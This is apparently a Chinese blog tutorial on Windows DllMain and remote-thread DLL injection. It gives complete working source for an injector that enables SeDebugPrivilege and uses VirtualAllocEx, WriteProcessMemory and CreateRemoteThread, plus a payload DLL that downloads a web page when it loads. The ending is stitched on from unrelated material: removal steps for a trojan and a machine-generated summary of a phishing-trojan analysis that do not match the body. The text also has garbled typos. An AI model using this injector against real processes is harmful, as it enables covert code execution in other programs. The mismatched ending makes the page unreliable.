DllMain知识
Windows DllMain 四大核心触发条件
#define DLL_PROCESS_ATTACH 1 // 进程加载该DLL时触发
#define DLL_THREAD_ATTACH 2 // 进程中创建新线程时触发
#define DLL_THREAD_DETACH 3 // 进程中的线程退出时触发
#define DLL_PROCESS_DETACH 0 // 进程卸载该DLL时触发DllMain函数
DllMain 函数是DLL模块的默认 入口点。当Windows加载DLL模块时调用这一函数。
系统首先调用全局对象的 构造函数,然后调用 全局函数DLLMain。
DLLMain 函数不仅在将DLL链接加载到进程时被调用,在DLL模块与进程分离时(以及其它时候)也被调用。
一个示例的DllMain函数如下:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//添加想要执行的代码
//当dll被进程加载时DLLMain被调用
//printf(" process attach of dll");
break;
case DLL_THREAD_ATTACH:
//添加想要执行的代码
//当有线程被创建时,DLLMain被调用
printf(" thread attach of dll");
break;
case DLL_THREAD_DETACH:
//添加想要执行的代码
//当有线程结束时,DLLMain被调用
printf(" thread detach of dll");
break;
case DLL_PROCESS_DETACH:
//添加想要执行的代码
//当dll被进程卸载时,DLLMain被调用
printf(" process detach of dll");
break;
}
return TRUE;
}以 远程线程注入为例
运行process explorer(或者火绒剑,任务管理器)获取notepad.exe进程的pid
可以看见process explorer.exe的pid为2788

运行InjectDll.exe将myhack.dll注入到notepad.exe进程当中。可以看到dll文件已经被注入到里面。

要想在process explorer中看见注入的dll文件,需要依次选择view->Lower Pane view->DLLS选项

进行注入时需要注意
1.LoadLibraryA 和 LoadLibraryW 不同字符表示
之前一直没有成功,没有使用L,但是使用了LoadLibraryW,导致加载dll失败,
如果不使用L,请用LoadLibraryA
2.注册的时候注意DLL完整路径,除非被注入程序和dll在同一个文件夹
InjectDll.exe 3480 D:\test\myhack.dll同时可以看见文件内已经多了一个html文件,此文件是dll中所指定的文件。

在DLLMmain()函数中可以看到,这个dll被加载(DLL_PROCESS_ATTACH)时,先输出一个字符串("<myhack.dll> Injection!!!"),然后再创建线程调用函数(ThreadProc)。在ThreadProc函数中通过调用URLDownloadToFile来下载指定网站的index.html文件。前面提到过,向进程注入dll后会调用dll的DLLMain函数。所以当dll文件注入到exe进程后,会调用URLDownloadToFile下载文件。
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( !p )
return FALSE;
//下载指定网站的index.html文件
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch( fdwReason )
{
case DLL_PROCESS_ATTACH : //加载时
OutputDebugString(L"<myhack.dll> Injection!!!"); //输出调试字符串
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //创建线程
CloseHandle(hThread);
break;
}
return TRUE;
}
main函数的主要功能时检查输入程序的参数,然后调用InjectDLL函数。InjectDLL函数是用来进行dll注入的核心,其作用是使目标进程自行调用LoadLibrary这个api。
#include "windows.h"
#include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// #1. 使用 dwPID 获取目标进程(notepad.exe)句柄(PROCESS_ALL_ACCESS权限),然后就可以用 hProcess 控制进程.
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
// #2. 在目标进程(notepad.exe) 内存中分配 szDllName 大小的内存,返回 pRemoteBuf 作为该缓冲区的地址.
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
// #3. 将 myhack.dll 路径写入刚刚分配的缓冲区.
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
// #4. 获取 LoadLibraryW() API 地址,kernel32.dll在每个进程中的加载地址相同(这个特性就是我们要利用的).
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// #5. 在 notepad.exe 中运行线程
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); //CreateRemoteThread()驱使进程调用LoadLibrary(),进而加载指定的DLL文件
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
return 1;
}
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
return 0;
}
下面来详细分析一下injectDll函数
调用 OpenProcess这个API,借助程序运行时以参数形势传递过来的dwPID值,获取exe进程的句柄(PROCESS_ALL_ACCESS)。得到PROCESS_ALL_ACCESS之后,就可以用获取的句柄控制对应进程。
//获取目标的进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)需要把即将加载的dll文件的路径通知目标进程。因为任何内存空间都无法进行写入操作,所以先使用VirtualAllocEx() API在目标进程的内存空间中分配一块缓冲区,且指定的缓冲区大小为dll文件路径字符串的长度。
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);VirtualAllocEx()函数的返回值为分配所得缓冲区的地址。
该地址不是程序自身进程(Inject.exe)的内存地址,
而是hProcess句柄所指目标进程(notepad.exe)的内存地址。使用WriteProcessMemory将DLL路径字符串(xxx\xxx\xxx.dll)写入到分配所得缓冲区地址。WriteProcessMemory所写的内存空间也是hProcess句柄所指的目标进程的内存空间。
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
//调用API
//Windows操作系统提供了调试API,借助其可以访问其它进程的内存空间。
//例如:VirtualAllocEx()、 WriteProcessMemory等调用LoadLibrary前需要先获取其地址。LoadLibraryW()是LoadLibrary()的Unicode字符串版本。
我们的目标明明是获取加载到 notepad.exe 进程的kernel32.dll的 LoadLibraryW的起始地址,但代码却用来获取加载到 InjectDll.exe进程的kernel32.dll的 LoadLibraryW的起始地址。如果加载到 notepad.exe 进程中的kernel32.dl的地址与加载到 InjectDll.exe 进程中的kernel32.dll的地址相同,那么上面的代码就不会有什么问题。但是如果kernell32.d在每个进程中加载的地址都不同,那么上面的代码就错了,执行时会发生引用错误 .
根据 Os 类型、语言、版本不同,kerne32.dll加载的地址也不网。并且 Vista /7中应用了新的 ASLR 功能,每次启动时。系统 DLL 加载的地址都会改0。但是在系统运行期间它都会被映射( Mapping )到号进程的相同地址。
Windows 作系统中, DLL 首次进入内存称为“加载”( Loading ),以后其他进程需要使用相网 DLL 时不必再次加载,只要将加载过的 DLL 代码与资源映射一下即可,这种映射技术有利于提高肉存的使用效率。
像上面这样, OS 核心 DUL 会被加载到自身固有的地址, DLL 注人利用的就是 Windows Os 这一特性(该特性也可能会被恶意使用,成为 Windows 安全漏洞)。导人InjectDll.exe进程中LoadlibraryW地址与导人notepad.exe进程中的LoadLibraryWO地址是相同的。
//在windows中,kernel32.dll在每个进程中的加载地址是相同的。
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");在目标进程中运行远程线程,pThreadProc是exe进程内存中LoadlibraryW的地址,pRemoteBuf是exe进程内存中dll字符串的地址
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);CreateRemoteThread用来在目标进程中执行其创建的线程,其函数原型如下:
除第一个参数 hProcess 外,其他参数与 CreateThread ()函数完全一样。 hProcess 参数是要执行线程的目标进程(或称“远程进程”、“宿主进程”)的句柄。 IpStartAddress 与 IpParameter 参数分别给出线程函数地址与线程参数地址。需要注意的是,这2个地址都应该在目标进程虚拟内存空间中(这样目标进程才能认识它们)。
HANDLE CreateRemoteThread(
// 进程句柄
hProcess,
// 线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize, // 线程栈大小,以字节表示
LPTHREAD_START_ROUTINE lpStartAddress, // 指向在远程进程中执行的函数地址
LPVOID lpParameter, // 传入参数
DWORD dwCreationFlags, // 创建线程的其它标志
LPDWORD lpThreadId // 线程身份标志,如果为NULL,则不返回
);
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
); 查看ThreadProc与LoadLibrary。两函数都有一个4字节的参数,并返回一个4字节的值。也就是说,二者形态结构完全一样灵感即源于此。调用 CreateRemoteThread 时,只要将 LoadLibrary函数的地址传递给第四个参数 IpStartAddress ,把要注人的 DLL 的路径字符串地址传递给第五个参数 IpParameter 即可(必须是目标进程的虚拟内存空间中的地址)。由于前面已经做好了一切准备,现在调用该函数使目标进程加载指定的 DLL 文件就行了。
CreateRemoteThread (函数最主要的功能就是驱使目标进程调用LoadLibrary函数,进
而加载指定的 DLL 文件。
//调用 CreateRemoteThread 创建远程线程所需要的过程函数的标准形式为
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);
//Win32编程加载DLL的API为:
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);处置措施
删除C\Program Files\Internet Explorer下的nvgpu_x64.exe、nvml.dll、nvml.bin文件
删除C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer计划任务
本文对钓鱼邮件中的银狐木马样本进行动态与静态分析,揭示其通过TLS回调、内存解密、API动态加载等技术释放恶意载荷并建立持久化控制的过程。
由 AI 根据全文自动生成,仅供参考,以原文为准